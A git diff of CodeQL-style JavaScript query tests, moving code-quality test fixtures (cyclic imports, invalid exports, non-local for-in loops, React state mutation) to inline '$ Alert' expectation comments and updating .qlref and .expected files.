+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/withStatement.js b/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/withStatement.js
index 0f5becc23bfd..88d94511b704 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/withStatement.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/WithStatement/withStatement.js
@@ -1,5 +1,5 @@
 function sayHello() {
-  with (foo) {
+  with (foo) { // $ Alert
     var x = 3;
     return x;
   }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/YieldInNonGenerator.expected b/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/YieldInNonGenerator.expected
index 4439f2c694b6..6efbbf8544bc 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/YieldInNonGenerator.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/YieldInNonGenerator.expected
@@ -1 +1 @@
-| tst.js:5:9:5:21 | yield index++ | This yield expression is contained in $@ which is not marked as a generator. | tst.js:1:1:1:8 | function | function idMaker |
+| tst.js:4:9:4:21 | yield index++ | This yield expression is contained in $@ which is not marked as a generator. | tst.js:1:1:1:8 | function | function idMaker |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/YieldInNonGenerator.qlref b/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/YieldInNonGenerator.qlref
index 46df85479869..d1e4a1757d6c 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/YieldInNonGenerator.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/YieldInNonGenerator.qlref
@@ -1 +1,2 @@
-LanguageFeatures/YieldInNonGenerator.ql
\ No newline at end of file
+query: LanguageFeatures/YieldInNonGenerator.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/tst.js
index a68f3ad35f9b..7a61221e8a90 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/YieldInNonGenerator/tst.js
@@ -1,6 +1,5 @@
 function idMaker(){
     var index = 0;
     while(true)
-        // NOT OK
-        yield index++;
+        yield index++; // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/NodeJS/CyclicImport/CyclicImport.expected b/javascript/ql/test/query-tests/NodeJS/CyclicImport/CyclicImport.expected
index 2fb5f863389e..ebdd6dd54101 100644
--- a/javascript/ql/test/query-tests/NodeJS/CyclicImport/CyclicImport.expected
+++ b/javascript/ql/test/query-tests/NodeJS/CyclicImport/CyclicImport.expected
@@ -1,6 +1,6 @@
 | a.js:4:9:4:25 | require('./b.js') | Module a imports module b, which in turn $@ it. | b.js:4:9:4:25 | require('./a.js') | imports |
 | b.js:4:9:4:25 | require('./a.js') | Module b imports module a, which in turn $@ it. | a.js:4:9:4:25 | require('./b.js') | imports |
-| selfimport.js:1:1:1:23 | require ... mport') | Module selfimport directly imports itself. | selfimport.js:1:1:1:24 | <toplevel> |  |
+| selfimport.js:1:1:1:23 | require ... mport') | Module selfimport directly imports itself. | selfimport.js:1:1:1:35 | <toplevel> |  |
 | test1/a.js:1:1:1:27 | require ... ner/a') | Module /test1/a.js imports module .../inner/a.js, which in turn $@ it. | test2/inner/a.js:1:1:1:24 | require ... st1/a') | imports |
 | test1/a.js:2:1:2:14 | require('./b') | Module a imports module b, which in turn $@ it. | test1/b.js:1:1:1:27 | require ... ner/a') | indirectly imports |
 | test1/b.js:1:1:1:27 | require ... ner/a') | Module b imports module a, which in turn $@ it. | test2/inner/a.js:1:1:1:24 | require ... st1/a') | indirectly imports |
diff --git a/javascript/ql/test/query-tests/NodeJS/CyclicImport/CyclicImport.qlref b/javascript/ql/test/query-tests/NodeJS/CyclicImport/CyclicImport.qlref
index 944a1f16d023..2f1ba00da9b5 100644
--- a/javascript/ql/test/query-tests/NodeJS/CyclicImport/CyclicImport.qlref
+++ b/javascript/ql/test/query-tests/NodeJS/CyclicImport/CyclicImport.qlref
@@ -1 +1,2 @@
-NodeJS/CyclicImport.ql
\ No newline at end of file
+query: NodeJS/CyclicImport.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/NodeJS/CyclicImport/a.js b/javascript/ql/test/query-tests/NodeJS/CyclicImport/a.js
index 6e20c34bb2ae..e435ffdd6e61 100644
--- a/javascript/ql/test/query-tests/NodeJS/CyclicImport/a.js
+++ b/javascript/ql/test/query-tests/NodeJS/CyclicImport/a.js
@@ -1,7 +1,7 @@
 // Adapted from the Node.js documentation
 console.log('a starting');
 exports.done = false;
-var b = require('./b.js');
+var b = require('./b.js'); // $ Alert
 console.log('in a, b.done = %j', b.done);
 exports.done = true;
 console.log('a done');
diff --git a/javascript/ql/test/query-tests/NodeJS/CyclicImport/b.js b/javascript/ql/test/query-tests/NodeJS/CyclicImport/b.js
index 48d00da05eec..b8b1b26c76a8 100644
--- a/javascript/ql/test/query-tests/NodeJS/CyclicImport/b.js
+++ b/javascript/ql/test/query-tests/NodeJS/CyclicImport/b.js
@@ -1,7 +1,7 @@
 // Adapted from the Node.js documentation
 console.log('b starting');
 exports.done = false;
-var a = require('./a.js');
+var a = require('./a.js'); // $ Alert
 console.log('in b, a.done = %j', a.done);
 exports.done = true;
 console.log('b done');
diff --git a/javascript/ql/test/query-tests/NodeJS/CyclicImport/selfimport.js b/javascript/ql/test/query-tests/NodeJS/CyclicImport/selfimport.js
index 524cd7785c61..015dd055baa7 100644
--- a/javascript/ql/test/query-tests/NodeJS/CyclicImport/selfimport.js
+++ b/javascript/ql/test/query-tests/NodeJS/CyclicImport/selfimport.js
@@ -1 +1 @@
-require('./selfimport');
\ No newline at end of file
+require('./selfimport'); // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/CyclicImport/test1/a.js b/javascript/ql/test/query-tests/NodeJS/CyclicImport/test1/a.js
index c50b18df78a5..19e985960836 100644
--- a/javascript/ql/test/query-tests/NodeJS/CyclicImport/test1/a.js
+++ b/javascript/ql/test/query-tests/NodeJS/CyclicImport/test1/a.js
@@ -1,2 +1,2 @@
-require('../test2/inner/a');
-require('./b');
\ No newline at end of file
+require('../test2/inner/a'); // $ Alert
+require('./b'); // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/CyclicImport/test1/b.js b/javascript/ql/test/query-tests/NodeJS/CyclicImport/test1/b.js
index 4dad3ca3b97f..c1527dc042ca 100644
--- a/javascript/ql/test/query-tests/NodeJS/CyclicImport/test1/b.js
+++ b/javascript/ql/test/query-tests/NodeJS/CyclicImport/test1/b.js
@@ -1 +1 @@
-require('../test2/inner/a');
\ No newline at end of file
+require('../test2/inner/a'); // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/CyclicImport/test2/inner/a.js b/javascript/ql/test/query-tests/NodeJS/CyclicImport/test2/inner/a.js
index c96937e40a33..cc49a519bc0d 100644
--- a/javascript/ql/test/query-tests/NodeJS/CyclicImport/test2/inner/a.js
+++ b/javascript/ql/test/query-tests/NodeJS/CyclicImport/test2/inner/a.js
@@ -1 +1 @@
-require('../../test1/a');
\ No newline at end of file
+require('../../test1/a'); // $ Alert
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/DubiousImport/DubiousImport.qlref b/javascript/ql/test/query-tests/NodeJS/DubiousImport/DubiousImport.qlref
index 6b556de9f00b..c6005b442606 100644
--- a/javascript/ql/test/query-tests/NodeJS/DubiousImport/DubiousImport.qlref
+++ b/javascript/ql/test/query-tests/NodeJS/DubiousImport/DubiousImport.qlref
@@ -1 +1,2 @@
-NodeJS/DubiousImport.ql
\ No newline at end of file
+query: NodeJS/DubiousImport.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/NodeJS/DubiousImport/a.js b/javascript/ql/test/query-tests/NodeJS/DubiousImport/a.js
index 2c75ba0124ff..c0c95c0d5f67 100644
--- a/javascript/ql/test/query-tests/NodeJS/DubiousImport/a.js
+++ b/javascript/ql/test/query-tests/NodeJS/DubiousImport/a.js
@@ -1,4 +1,4 @@
-var foo = require('./b').foo,
+var foo = require('./b').foo, // $ Alert
     bar = require('./c').bar,
     sneaky = require('./d').sneaky;
 
diff --git a/javascript/ql/test/query-tests/NodeJS/DubiousImport/main.js b/javascript/ql/test/query-tests/NodeJS/DubiousImport/main.js
index b4645ff98881..6f2bd18a9127 100644
--- a/javascript/ql/test/query-tests/NodeJS/DubiousImport/main.js
+++ b/javascript/ql/test/query-tests/NodeJS/DubiousImport/main.js
@@ -2,7 +2,7 @@ var b = require('./b'),
 	c = require('./c'),
 	d = require('./d');
 
-b.foo;
+b.foo; // $ Alert
 c.bar;
 d.sneaky;
 b.prototype;
@@ -12,7 +12,7 @@ require('./f').tricky;
 
 var fs = require('fs');
 fs.rename('foo', 'bar', function() {});
-fs.renmae('foo', 'bar', function() {});
+fs.renmae('foo', 'bar', function() {}); // $ Alert
 fs.move('foo', 'bar', function() {});
 
 var k = require('./k');
@@ -20,7 +20,7 @@ k.foo;
 
 var l = require('./l');
 l.foo();
-l.bar(); // not OK
+l.bar(); // $ Alert
 
 require('./m').foo;
 
diff --git a/javascript/ql/test/query-tests/NodeJS/DubiousImport/multi_import.js b/javascript/ql/test/query-tests/NodeJS/DubiousImport/multi_import.js
index cacb69772fe9..7eb45e2cfabb 100644
--- a/javascript/ql/test/query-tests/NodeJS/DubiousImport/multi_import.js
+++ b/javascript/ql/test/query-tests/NodeJS/DubiousImport/multi_import.js
@@ -10,10 +10,10 @@ if (cond) {
 }
 
 if (cond) {
-  mod1.call();  // OK: `mod1` is `./b`, which exports `call`
+  mod1.call();  // OK - `mod1` is `./b`, which exports `call`
 } else {
-  mod1.bar;     // OK: `mod1` is `./c`, which exports `bar`
-  mod2.bar;     // NOT OK: `mod2` is `./b`, which does not export `call`
+  mod1.bar;     // OK - `mod1` is `./c`, which exports `bar`
+  mod2.bar;     // $ Alert - `mod2` is `./b`, which does not export `call`
 }
 
 module.exports = {};
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/InvalidExport.qlref b/javascript/ql/test/query-tests/NodeJS/InvalidExport/InvalidExport.qlref
index 6864d74ec268..5225f0d052a9 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/InvalidExport.qlref
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/InvalidExport.qlref
@@ -1 +1,2 @@
-NodeJS/InvalidExport.ql
\ No newline at end of file
+query: NodeJS/InvalidExport.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst.js b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst.js
index 83bd3009a8ba..61a2663a7ad6 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst.js
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst.js
@@ -1,2 +1,2 @@
-exports.a = 23; // OK
-exports = 56; // NOT OK
+exports.a = 23;
+exports = 56; // $ Alert
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2a.js b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2a.js
index c650950972b5..f02b2cdaa4f7 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2a.js
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2a.js
@@ -1,3 +1,3 @@
-// OK: use of `exports` as shorthand for `module.exports`
+// OK - use of `exports` as shorthand for `module.exports`
 exports = module.exports = {};
 exports.a = 23;
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2b.js b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2b.js
index 67a979faef7a..f3c20feff45f 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2b.js
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2b.js
@@ -1,3 +1,3 @@
-// OK: use of `exports` as shorthand for `module.exports`
+// OK - use of `exports` as shorthand for `module.exports`
 module.exports = exports = {};
 exports.a = 23;
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2c.js b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2c.js
index 18089f129a6e..d7269a450093 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2c.js
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst2c.js
@@ -1,4 +1,4 @@
-// OK: use of `exports` as shorthand for `module.exports`
+// OK - use of `exports` as shorthand for `module.exports`
 exports = {};
 exports.a = 23;
 module.exports = exports;
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst3.js b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst3.js
index 93448cd102f9..78ea98c06292 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst3.js
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst3.js
@@ -1,2 +1,2 @@
-// OK: useless assignment flagged by other query
+// OK - useless assignment flagged by other query
 exports = module.exports = { a: 23 };
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst3b.js b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst3b.js
index 679437bd5b9d..e638381c2690 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst3b.js
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst3b.js
@@ -1,2 +1,2 @@
-// OK: useless assignment flagged by other query
+// OK - useless assignment flagged by other query
 module.exports = exports = { a: 23 };
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst4.js b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst4.js
index c24fd42b6dd9..2a5f22cb49d8 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst4.js
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst4.js
@@ -1,2 +1,2 @@
-module.exports.a = 23; // OK
-module.exports = 56; // OK
+module.exports.a = 23;
+module.exports = 56;
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst5.js b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst5.js
index 4b93bb8f7f40..9361a968088c 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst5.js
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst5.js
@@ -1,4 +1,4 @@
 module.exports = exports;
 
-exports = {}; // NOT OK, reassignment above should appear below
+exports = {}; // $ Alert - reassignment above should appear below
 exports.a = 12;
diff --git a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst6.js b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst6.js
index d91971d6f519..cf5eb12ff0ac 100644
--- a/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst6.js
+++ b/javascript/ql/test/query-tests/NodeJS/InvalidExport/tst6.js
@@ -1,4 +1,4 @@
 var e = {};
 module.exports = e;
-exports = e; // OK
+exports = e;
 exports.a = 12;
diff --git a/javascript/ql/test/query-tests/NodeJS/MissingExports/MissingExports.js b/javascript/ql/test/query-tests/NodeJS/MissingExports/MissingExports.js
index 091cf6fef202..bd8d05fcd03a 100644
--- a/javascript/ql/test/query-tests/NodeJS/MissingExports/MissingExports.js
+++ b/javascript/ql/test/query-tests/NodeJS/MissingExports/MissingExports.js
@@ -4,5 +4,5 @@ exports.checkOne = function(x) {
 
 var checkList = exports.checkList = function(xs) {
   for (var i=0; i<xs.length; ++i)
-    checkOne(xs[i]);
+    checkOne(xs[i]); // $ Alert
 };
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/MissingExports/MissingExports.qlref b/javascript/ql/test/query-tests/NodeJS/MissingExports/MissingExports.qlref
index da9bdd04bf3b..b0b365489200 100644
--- a/javascript/ql/test/query-tests/NodeJS/MissingExports/MissingExports.qlref
+++ b/javascript/ql/test/query-tests/NodeJS/MissingExports/MissingExports.qlref
@@ -1 +1,2 @@
-NodeJS/MissingExports.ql
\ No newline at end of file
+query: NodeJS/MissingExports.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/NodeJS/MissingExports/tst.js b/javascript/ql/test/query-tests/NodeJS/MissingExports/tst.js
index 9a561d4a340d..8023c7511b64 100644
--- a/javascript/ql/test/query-tests/NodeJS/MissingExports/tst.js
+++ b/javascript/ql/test/query-tests/NodeJS/MissingExports/tst.js
@@ -4,19 +4,19 @@ exports.baz = 56;
 exports.alert = 72;
 
 /*global bar*/
-bar(); // OK
+bar();
 
 baz = function() {};
-baz(); // OK
+baz();
 
-alert(); // OK
+alert();
 
-exports.isNaN = isNaN // OK
+exports.isNaN = isNaN
               || function(x) { return x !== x; };
 
 exports.someGlobal = 100;
-someGlobal(); // OK
+someGlobal();
 
 window.otherGlobal = function() {};
 exports.otherGlobal = otherGlobal;
-otherGlobal(); // OK
+otherGlobal();
diff --git a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/UnresolvableImport.qlref b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/UnresolvableImport.qlref
index fefd63b60fad..f156e99f18dc 100644
--- a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/UnresolvableImport.qlref
+++ b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/UnresolvableImport.qlref
@@ -1 +1,2 @@
-NodeJS/UnresolvableImport.ql
\ No newline at end of file
+query: NodeJS/UnresolvableImport.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/sub/subsub/tst.js b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/sub/subsub/tst.js
index 750fbe53712d..9e6301b5bb38 100644
--- a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/sub/subsub/tst.js
+++ b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/sub/subsub/tst.js
@@ -1,2 +1,2 @@
-require('baz'); // OK: declared in ../../package.json (though not in ./package.json)
-require('mod'); // OK: found in ../node_modules/mod
\ No newline at end of file
+require('baz'); // OK - declared in ../../package.json (though not in ./package.json)
+require('mod'); // OK - found in ../node_modules/mod
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/sub/tst.js b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/sub/tst.js
index ba7d097a552e..abc92ca81047 100644
--- a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/sub/tst.js
+++ b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/sub/tst.js
@@ -1,2 +1,2 @@
-require('baz'); // OK: declared in ../package.json
-require('mod'); // OK: found in ./node_modules/mod
\ No newline at end of file
+require('baz'); // OK - declared in ../package.json
+require('mod'); // OK - found in ./node_modules/mod
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/tst.js b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/tst.js
index 878d59a100d4..b5d9982bd4e0 100644
--- a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/tst.js
+++ b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/src/tst.js
@@ -1,11 +1,11 @@
-require('fs');    // OK: there is an externs file for it
-require('other'); // NOT OK: there is an externs file, but it is not a Node.js module
-require('foo');   // OK: declared as a dependency
-require('bar/sub'); // OK: 'bar' declared as a dependency
-require('./local'); // OK: local import
-require('/global'); // OK: global import
-require('mod');     // NOT OK
-require('undeclared'); // NOT OK
-require('jade!./template.jade'); // OK: WebPack loader
-require('imports?$=jquery!./m.js'); // OK: WebPack shim
-require('react'); // OK: peer dependency
\ No newline at end of file
+require('fs');    // OK - there is an externs file for it
+require('other'); // $ Alert - there is an externs file, but it is not a Node.js module
+require('foo');   // OK - declared as a dependency
+require('bar/sub'); // OK - 'bar' declared as a dependency
+require('./local'); // OK - local import
+require('/global'); // OK - global import
+require('mod');     // $ Alert
+require('undeclared'); // $ Alert
+require('jade!./template.jade'); // OK - WebPack loader
+require('imports?$=jquery!./m.js'); // OK - WebPack shim
+require('react'); // OK - peer dependency
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/tst.js b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/tst.js
index ae78d6699400..b11ad45452ef 100644
--- a/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/tst.js
+++ b/javascript/ql/test/query-tests/NodeJS/UnresolvableImport/tst.js
@@ -1 +1 @@
-require('m'); // OK: no package.json, so assume incomplete code and don't flag
\ No newline at end of file
+require('m'); // OK - no package.json, so assume incomplete code and don't flag
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/NodeJS/UnusedDependency/UnusedDependency.qlref b/javascript/ql/test/query-tests/NodeJS/UnusedDependency/UnusedDependency.qlref
index 3bd74dab9467..b17169c60ac7 100644
--- a/javascript/ql/test/query-tests/NodeJS/UnusedDependency/UnusedDependency.qlref
+++ b/javascript/ql/test/query-tests/NodeJS/UnusedDependency/UnusedDependency.qlref
@@ -1 +1 @@
-NodeJS/UnusedDependency.ql
\ No newline at end of file
+query: NodeJS/UnusedDependency.ql
diff --git a/javascript/ql/test/query-tests/Performance/NonLocalForIn/NonLocalForIn.expected b/javascript/ql/test/query-tests/Performance/NonLocalForIn/NonLocalForIn.expected
index 5718da0e961c..22e149651e78 100644
--- a/javascript/ql/test/query-tests/Performance/NonLocalForIn/NonLocalForIn.expected
+++ b/javascript/ql/test/query-tests/Performance/NonLocalForIn/NonLocalForIn.expected
@@ -1,5 +1,5 @@
-| tst.js:14:10:14:15 | q[i++] | This loop may prevent optimization because its iteration variable is a property. |
-| tst.js:19:10:19:10 | p | This loop may prevent optimization because its iteration variable is a global variable. |
-| tst.js:24:10:24:14 | var p | This loop may prevent optimization because its iteration variable is captured. |
-| tst.js:34:14:34:14 | p | This loop may prevent optimization because its iteration variable is captured. |
-| tst.js:40:10:40:10 | p | This loop may prevent optimization because its iteration variable is a global variable. |
+| tst.js:13:10:13:15 | q[i++] | This loop may prevent optimization because its iteration variable is a property. |
+| tst.js:17:10:17:10 | p | This loop may prevent optimization because its iteration variable is a global variable. |
+| tst.js:21:10:21:14 | var p | This loop may prevent optimization because its iteration variable is captured. |
+| tst.js:30:14:30:14 | p | This loop may prevent optimization because its iteration variable is captured. |
+| tst.js:35:10:35:10 | p | This loop may prevent optimization because its iteration variable is a global variable. |
diff --git a/javascript/ql/test/query-tests/Performance/NonLocalForIn/NonLocalForIn.qlref b/javascript/ql/test/query-tests/Performance/NonLocalForIn/NonLocalForIn.qlref
index 3bf5384a5c3a..2e84bd9a20f0 100644
--- a/javascript/ql/test/query-tests/Performance/NonLocalForIn/NonLocalForIn.qlref
+++ b/javascript/ql/test/query-tests/Performance/NonLocalForIn/NonLocalForIn.qlref
@@ -1 +1,2 @@
-Performance/NonLocalForIn.ql
+query: Performance/NonLocalForIn.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Performance/NonLocalForIn/tst.js b/javascript/ql/test/query-tests/Performance/NonLocalForIn/tst.js
index c379b0ba530e..74c6eafb7721 100644
--- a/javascript/ql/test/query-tests/Performance/NonLocalForIn/tst.js
+++ b/javascript/ql/test/query-tests/Performance/NonLocalForIn/tst.js
@@ -1,27 +1,24 @@
 var o = { x: 1, y: 2, z: 3 };
 
-// OK: toplevel for-in
+// OK - toplevel for-in
 for (var p in o);
 
 function f() {
-    // OK: local variable
+    // OK - local variable
     for (var p in o);
 }
 
 function g() {
-    // NOT OK: property
-    var q = [], i = 0;
-    for (q[i++] in o);
+    var q = [], i = 0; // property
+    for (q[i++] in o); // $ Alert
 }
 
 function h() {
-    // NOT OK: global
-    for (p in o);
+    for (p in o); // $ Alert - global
 }
 
 function k() {
-    // NOT OK: captured
-    for (var p in o);
+    for (var p in o); // $ Alert - captured
     return function() {
         return p;
     };
@@ -30,15 +27,13 @@ function k() {
 function l() {
     var p;
     function m() {
-        // NOT OK: captured
-        for (p in o);
+        for (p in o); // $ Alert - captured
     }
 }
 
 function m() {
-    // NOT OK: global
-    for (p of o);
+    for (p of o); // $ Alert - global
 }
 
-// OK: toplevel
+// OK - toplevel
 for (p of o);
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/ReassignParameterAndUseArguments.expected b/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/ReassignParameterAndUseArguments.expected
index 4886857477f0..a4dd7cac42e7 100644
--- a/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/ReassignParameterAndUseArguments.expected
+++ b/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/ReassignParameterAndUseArguments.expected
@@ -1 +1 @@
-| tst.js:2:18:2:22 | start | This parameter $@, which may prevent optimization because the surrounding function uses the arguments object. | tst.js:4:9:4:13 | start | is reassigned |
+| tst.js:1:18:1:22 | start | This parameter $@, which may prevent optimization because the surrounding function uses the arguments object. | tst.js:3:9:3:13 | start | is reassigned |
diff --git a/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/ReassignParameterAndUseArguments.qlref b/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/ReassignParameterAndUseArguments.qlref
index 2b99b7ba9895..2f0337a0ed98 100644
--- a/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/ReassignParameterAndUseArguments.qlref
+++ b/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/ReassignParameterAndUseArguments.qlref
@@ -1 +1,2 @@
-Performance/ReassignParameterAndUseArguments.ql
\ No newline at end of file
+query: Performance/ReassignParameterAndUseArguments.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/tst.js b/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/tst.js
index 577fc79d5879..efe3e1cd14b0 100644
--- a/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/tst.js
+++ b/javascript/ql/test/query-tests/Performance/ReassignParameterAndUseArguments/tst.js
@@ -1,5 +1,4 @@
-// NOT OK
-function sum(xs, start) {
+function sum(xs, start) { // $ Alert
     if (arguments.length < 2)
         start = 0;
 
@@ -10,7 +9,7 @@ function sum(xs, start) {
     return sum;
 }
 
-// OK
+
 function sum(xs, start) {
     if (typeof start === 'undefined')
         start = 0;
@@ -22,7 +21,7 @@ function sum(xs, start) {
     return sum;
 }
 
-// OK
+
 function sum(xs, _start) {
     var start = arguments.length < 2 ? _start : 0;
 
diff --git a/javascript/ql/test/query-tests/React/DirectStateMutation/DirectStateMutation.qlref b/javascript/ql/test/query-tests/React/DirectStateMutation/DirectStateMutation.qlref
index 5a1cd2a2fb67..5385510ca57a 100644
--- a/javascript/ql/test/query-tests/React/DirectStateMutation/DirectStateMutation.qlref
+++ b/javascript/ql/test/query-tests/React/DirectStateMutation/DirectStateMutation.qlref
@@ -1 +1,2 @@
-React/DirectStateMutation.ql
\ No newline at end of file
+query: React/DirectStateMutation.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid1.js b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid1.js
index 9863c0371466..c5a8a61dea73 100644
--- a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid1.js
+++ b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid1.js
@@ -1,6 +1,6 @@
 var Hello = React.createClass({
   render: function() {
-    this.state.foo = "bar"
+    this.state.foo = "bar" // $ Alert
     return <div>Hello {this.props.name}</div>;
   }
 });
diff --git a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid2.js b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid2.js
index c790106ba3e1..4c87a1f8b0db 100644
--- a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid2.js
+++ b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid2.js
@@ -1,6 +1,6 @@
 var Hello = React.createClass({
   render: function() {
-    this.state.person.name= "bar"
+    this.state.person.name= "bar" // $ Alert
     return <div>Hello {this.props.name}</div>;
   }
 });
diff --git a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid3.js b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid3.js
index 291e0044bb3c..e542b14ce357 100644
--- a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid3.js
+++ b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid3.js
@@ -1,6 +1,6 @@
 var Hello = React.createClass({
   render: function() {
-    this.state.person.name.first = "bar"
+    this.state.person.name.first = "bar" // $ Alert
     return <div>Hello</div>;
   }
 });
diff --git a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid4.js b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid4.js
index 1b9da154358a..6297f138f002 100644
--- a/javascript/ql/test/query-tests/React/DirectStateMutation/invalid4.js
+++ b/javascript/ql/test/query-tests/React/DirectStateMutation/invalid4.js
@@ -1,7 +1,7 @@
 var Hello = React.createClass({
   render: function() {
-    this.state.person.name.first = "bar"
-    this.state.person.name.last = "baz"
+    this.state.person.name.first = "bar" // $ Alert
+    this.state.person.name.last = "baz" // $ Alert
     return <div>Hello</div>;
   }
 });
